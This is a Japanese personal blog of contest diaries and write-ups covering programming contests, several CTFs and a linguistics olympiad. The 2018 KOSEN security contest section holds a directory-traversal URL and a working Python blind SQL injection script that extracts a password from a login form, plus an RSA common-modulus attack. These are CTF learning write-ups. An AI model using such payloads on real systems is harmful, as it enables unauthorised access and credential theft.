Ecasdqina's MEMO

Ecasdqina's MEMO.

メモ帳.

PCK 予選について

チーム名 : divide-0
メンバ : ecasdqina, naoppy
明日結果発表だし、予選の流れとか戦略とかについて残しておこうかと。

事前

ぼくが過去問を解いた感じだと 1 から 8 くらいまでは自明で 9 が鍵(ボーダー)だと思ったので、始まるとまず印刷して naoppy に 1 から 6 を、ぼくが 7 からをやるって感じに決めた。

本番直前

学校で印刷できない! ライブラリをコンビニで印刷 690 円

本番

時系列順箇条書き

  • 問題を印刷できないのでまずぼくが 7 問目をノートに写して naoppy に PC を渡す
  • これ自明じゃ~ん、naoppy から PC を借りて書く、バグる(???)、手元でデバッグするので PC を返す
  • これ自明じゃ~ん、naoppy が 1 を通したあとにぱっぱと直して投げる、ジャッジが遅くてなにかミスってるのかと思った
  • 7 AC(FA)
  • ここらへんで PCK 実況垢が 作戦でしょうか? とか言ってるはず、これを言わせたかったのが9割くらい
  • 8 が自明だったけど 7 が一瞬過ぎたので 6 を考える(naoppy との時間合わせのためみたいな?)
  • ここらへんで監督の先生が問題を印刷して配ってくれる
  • その間に naoppy が 2 から 4 を通す
  • 6 むずくね??? いや自明だわ~セグ木!w(は?)
  • 6 をオーバーキル(?)して投げる、WA(は?)
  • よく見たら swap し忘れているので直して通す、回避できた 2WA を生んでしまう
  • naoppy が 5 を通してる間に 8 の実装を考える、index がほしいなぁたぷたぷ、たぴたぴ構造体載せようかと思ったけど std::pair<int, int> を乗せればいいと気付く
  • naoppy から PC を借りて 8 を通す、ここからはぼくが全実装をする
  • 9 を見ると幾何の様相を示しているので naoppy に押し付けようと考える、とりあえず概要だけ読むと傾きで調べるのかな~はははみたいな感じになるので問題の紙を naoppy に渡して考察よろぴく! とする
  • 10 を見てみるとみるからに全方位木 DP、書く、サンプルが通らないので DP を拡張する、サンプルが合う、提出!、WA(は?)
  • naoppy が 9 の異常を提案してくる、流石にwっていいながら実装すると WA が生える(それはそう)
  • 10 を適当に変更して投げて WA を稼ぎつつ 9 を考えてみると天啓が降りてくるので実装する
  • 9 が通る、へへ~んこれが水色の実力なんだよな

本番直後

他のチームと適当に駄弁る

事後

夜布団で Twitter いじっていると唐突に 10 の WA の原因(多分)が降りてくる、無向グラフなのに逆辺張ってないじゃん!(たっぴゃ~w)

結果

9完4WA

CyberRebeatCTF Write-up

チーム生活習慣崩壊ズで出ていました。

結果

全完して1位でした。
f:id:ecasd-qina:20180909011723p:plain

各位の解いた問題です(代理提出もあるので完全では無い)。 f:id:ecasd-qina:20180909011802p:plain

Write-up

Exercise - Ecercise

f:id:ecasd-qina:20180909040023p:plain

Rotation - Crypto

ROT13 と単純な置換があるのでやります。
...
4 -> R
5 -> S
6 -> T
...

Calculation - Programming

入力をそのまま eval に放り込んで返せば OK
自動対話参考 :

CTFサーバとの自動対話 - nkhrlab~

Prime Factor - Programming

入力された数の素因数のうち最大を返せば良い、ruby では prime ライブラリに素因数分解をする関数があるっぽいのでこれを使った。

Visual Novels - Programming

ナップサック問題を解決する問題、O(NM) の DP で通る。

CyberRebeatScript - Recon

Github で CyberRebeat と検索すると問題の repository が見つかるので見ます、すると commit log に delete FLAG とあるので過去のものを覗くとフラグがありました。

ChangeHistory - Recon

CyberRebeatScript とどうように問題の repository が見つかるのでいろいろ探してみると closed な Issues に FLAG の載った commit の hash が載っているのでこれでアクセスすればフラグがありました。

Let's Tweet! - Web

最初 SQL Injection とかかな〜と思いつつ他人の Tweet ID を放り込んでたのですが修正後は Already Exist と返されるようになり新鮮な Tweet ID を放り込む必要があるのかと思いツイートして放り込んでくると一瞬で出てきてしまいました(修正前は FLAG{} とか返って来てた)。

おわりに

わたくし自明しか解いてなくないですか???

高専セキュリティコンテスト2018 Write-up

9月1日─2日に高専セキュリティコンテストにリモートで参加したので Write-up を書きます。

チーム

チーム名 : Secure Beat(SB)
チームメンバ(Twitter ID) : yfba_, cotton392, zono_0317, world_of_dawn

結果

順位 : 6位
チーム得点 : 2350
個人得点 : 2000
f:id:ecasd-qina:20180902224726j:plain

ぼくが解いた問題

f:id:ecasd-qina:20180902224813p:plain

Write-up

Binary

まどわされるな - 100

実行するとフラッグの半分が得られるのでもう片方を探す。
$ binwalk file.out をすると JPEG がくっついているのが分かるので $ foremost file.out で取り出すと残りのフラッグが現れるのでくっつけて終わり。
f:id:ecasd-qina:20180902225604p:plain

Crypto

exchangeable if - 100

画像を見てみるとフラッグのうち4文字が xxxx となって読めないので、どうにかして探す。
$ file out.jpeg などとして画像の description を見るとなんらかの値の md5 によるハッシュ値が入っているので、フラッグのハッシュ値だと仮定して4文字を全探索した。
f:id:ecasd-qina:20180902231911p:plain

シンプルな QR コード - 200

画像を開くと QR コードの右半分が載っているので world_of_dawn に text に変換してもらって strong-qr-decoder でデコードした。
f:id:ecasd-qina:20180902232616p:plain

RSA? - 300

冪演算の無い世界ということで積演算を考えれば、割って終わり。

f:id:ecasd-qina:20180902233317p:plain

CMA - 300

その名の通り Common Modulus Attack をすれば終わり。

import gmpy, binascii, sys

def common_modulus_attack(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = gmpy.invert(c1, n)
    elif s2 < 0:
        s2 = -s2
        c2 = gmpy.invert(c2, n)
    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    m = (v * w) % n
    return m


if __name__ == '__main__':
    n  = hoge
    e1 = 28403731
    e2 = 17150467
    c1 = fuga
    c2 = hemi
    ans = common_modulus_attack(c1, c2, e1, e2, n)
    print(binascii.unhexlify(hex(ans)[2:]))

f:id:ecasd-qina:20180902233953p:plain

Misc

更新されたIoT対応デバイス - 50

Wikipedia に載っていた。

RFC 7168 - The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA)

SCKOSEN{7168}

謎のファイル - 100

解凍すると xml ファイルとかが入っているので検索すると OOXML というものらしい、rename_me.xml というファイルが入っているのでこれを [Content_Types].xml に変更して zip 圧縮して office soft で開くとフラグが出てくる。 f:id:ecasd-qina:20180902235123p:plain

ディスクが足りない! - 100

よくわからないけど解凍したら出てきた。
f:id:ecasd-qina:20180903000631p:plain

攻撃ログ - 300

流石になにかしらユニーク性があるはずなので適当に探すと見つかる。
f:id:ecasd-qina:20180903001557p:plain

Web

サーバーから情報を抜き出せ! - 100

画像の URL を見てみるとディレクトリトラバーサルが出来そうなのでする、以下にアクセスするとフラグがある。
http://cheat.kosensc2018.tech/image?filename=%2E%2E%2Fflag.txt
f:id:ecasd-qina:20180903143537p:plain

アカウントを奪え - 300

SQL インジェクションを試すとソースコードが書かれたページに飛ばされる、これを使って成功したかどうかが分かるので Blind SQL Injection が出来る。

[2018-09-03] : 二分探索を用いて高速化しました、かなり早くなったと思います。

import requests
url = "http://bsql.kosensc2018.tech/"


def check_length(t):
    sql = '1\' OR (SELECT LENGTH(pass) FROM user WHERE userid = \'kosenjoh\') <= {counter} ; --'.format(counter = t)
    payload = {
        'userid' : 'kosenjoh',
        'pass' : sql
    }
    response = requests.post(url, data=payload)
    
    return len(response.text) > 2000

def get_flag_length():
    ok, ng = 1000, 0

    while ok - ng > 1:
        mid = (ok + ng) // 2;

        if check_length(mid):
            ok = mid
        else:
            ng = mid
    
    return ok

def check_flag_ascii(index, t):
    char = chr(t)
    sql = '1\' OR SUBSTR((SELECT pass FROM user WHERE userid = \'kosenjoh\'), {index}, 1) <= \'{char}\' --'.format(index = index, char = char)
    payload = {
        'userid' : 'kosenjoh',
        'pass' : sql,
    }
    response = requests.post(url, data=payload)
    
    return len(response.text) > 2000

def get_flag_ascii(index):
    ok, ng = 124, 48
    
    while ok - ng > 1:
        mid = (ok + ng) // 2;
        
        if check_flag_ascii(index, mid):
            ok = mid
        else:
            ng = mid
    
    return chr(ok)

def get_flag():
    l = get_flag_length()
    flag = ""

    for index in range(1, l + 1):
        flag += get_flag_ascii(index)

    return flag

if __name__ == "__main__":
    print(get_flag())

おわりに

個人2000点は MVP では???(イキり)

2017JOI予 - D 水ようかん の思考メモ

こんな感じで考えた〜ってやつです。

メモ本文

最小値・最大値の二値が必要
どちらかを添字にすればよい
最大値 を添字にする、すると最小値の最大値を持てばよいことが分かる
添字を考える DP[i][j] := i番目までで最大値jの時の最小値の最大値
遷移を考える、切った場合と切らない場合
切った時に一番右側の長さを持てないと気づく
これも添字にすればよい、再び考える
DP[i][j][k] := i番目までで最後にjで切ったときの最小値の最大値
遷移を考える
書く
提出
MLE
添字iは2値で十分
提出
AC

Submission

Submission #3107871 - JOI2017/2018 予選ページ

NITAC miniCTF

参加しました

チーム名 : 生活習慣崩壊ズ チームメンバー : ecasdqina, keymoon, zohe, 漁師

Write Up

Intro to AES[Crypto]

やります。

Don't Feel Look

やります(strings)。

mosa1c

やります(zip)。

scramble

作問しました、やります(DP)。

pathway and street

作問しました、やります(Dijkstra)。

感想

やるだけ問題しか解いてねぇな。
生活習慣崩壊ズで今後も活動しよう的な話をしたのでまた機会があればこのメンバーで相見えるかもしれません。
次回はもっと解けるようにしてきます。

ウクーニャたんお誕生日コンテスト 参加記

コンテスト

ウクーニャたんお誕生日コンテスト - AtCoder

本文

チーム名 lumasdqina で luma と ecasdqina で出ていました.
ABCDの4完で5位でした.

A問題

A = 1 固定で B を全探索します,ビビってテストしてたけど普通に通った.

B問題

長い区間に貪欲に流すのがよくて実装で詰まってました,途中区間を2つに分けていくのを思いついたけど捨てる最悪ムーブをしたため解けずるましに頼みました.

C問題

見てません,るましが通しました.

D問題

見てません,るましが通しました.

E問題

余事象の包除原理かなぁと思っていました.

Don't Be a Subsequence 典型解説

問題

E - Don't Be a Subsequence

本文

問題文に最も短いものと書かれているので与えられた文字列から構成する文字列の長さを得られないかを考えます, これは自明な考察をすることで動的計画法から得ることが出来ます.
ここで動的計画法の結果から復元をするというテクを思い出せばあとはやるだけで構成を完了することができます.

動的計画法 -> 構築 という流れはかなり典型でかつ高難度の問題にもよく見られるので覚えておくと良いテクのひとつです.

コード

Submission #2449563 - AtCoder Regular Contest 081

ARC057 - B 高橋君ゲーム

問題

B - 高橋君ゲーム

本文

i日目までの勝率よりi + 1日目までの勝率を厳密に大きくしたいので不等式を立ててみると計算できるので, DPをするといいことが分かる, コーナーケースつらいですね.

久々にDPを自力AC出来て気分がいいぞい.

コード

Submission #2361336 - AtCoder Regular Contest 057

18'言語学オリンピック二次参加記

え〜

青春18切符を用いて兵庫から東京まで行ってきました.
行きと帰りは1日の殆どを電車で過ごす, 出発朝の8時くらいで着いたのが夜9時くらいとかな木がする.
東京の木を眺めつつ木で作問したりCombNaf3に参加したりした.

本文

宿泊所から駅までが第一の難関, 山をランダムウォーク(実際はラン)したどうにかAC.
吉祥寺まで行ってからが第二の難関, 漁師と合流してバスで向かうと乗り過ごしたので走る, 10分遅れくらいでAC(TLE).

試験

1問目

エスパーをしまくって頑張る, 一応全部解けたはず(それはほんとうか?).

2問目

え〜問題を忘れたのですが多分全部解けたはず(知らんけど).

3問目

え〜これ難しい, とりあえず訳するとこだけ埋めて放置してたら結局白紙で終わってしまった.

4問目

右から読むのに気づいたのが一番のひらめきであまり解けた木はしない.

5問目

いいかんじに対応とかで頑張る, 文字を移すのが一番難しい.

結果

20 + 19 + 2 + 5 + 20 = 66
二次落ち

UAPC2017 - J Cluster Network

問題

Cluster Network | Aizu Online Judge

本文

この問題を木に限定した問題がC - 高橋王国の分割統治にありました, 先にこっちを解いてからやったので若干解きやすかったです.
Low-Linkを求めてえいえいすると一般のグラフも木DPに帰着することができるという面白い問題でした, さすが大悪魔さま.
あとこれは余談なんですが, ARC028-Cの方は夢の中で解きました.

コード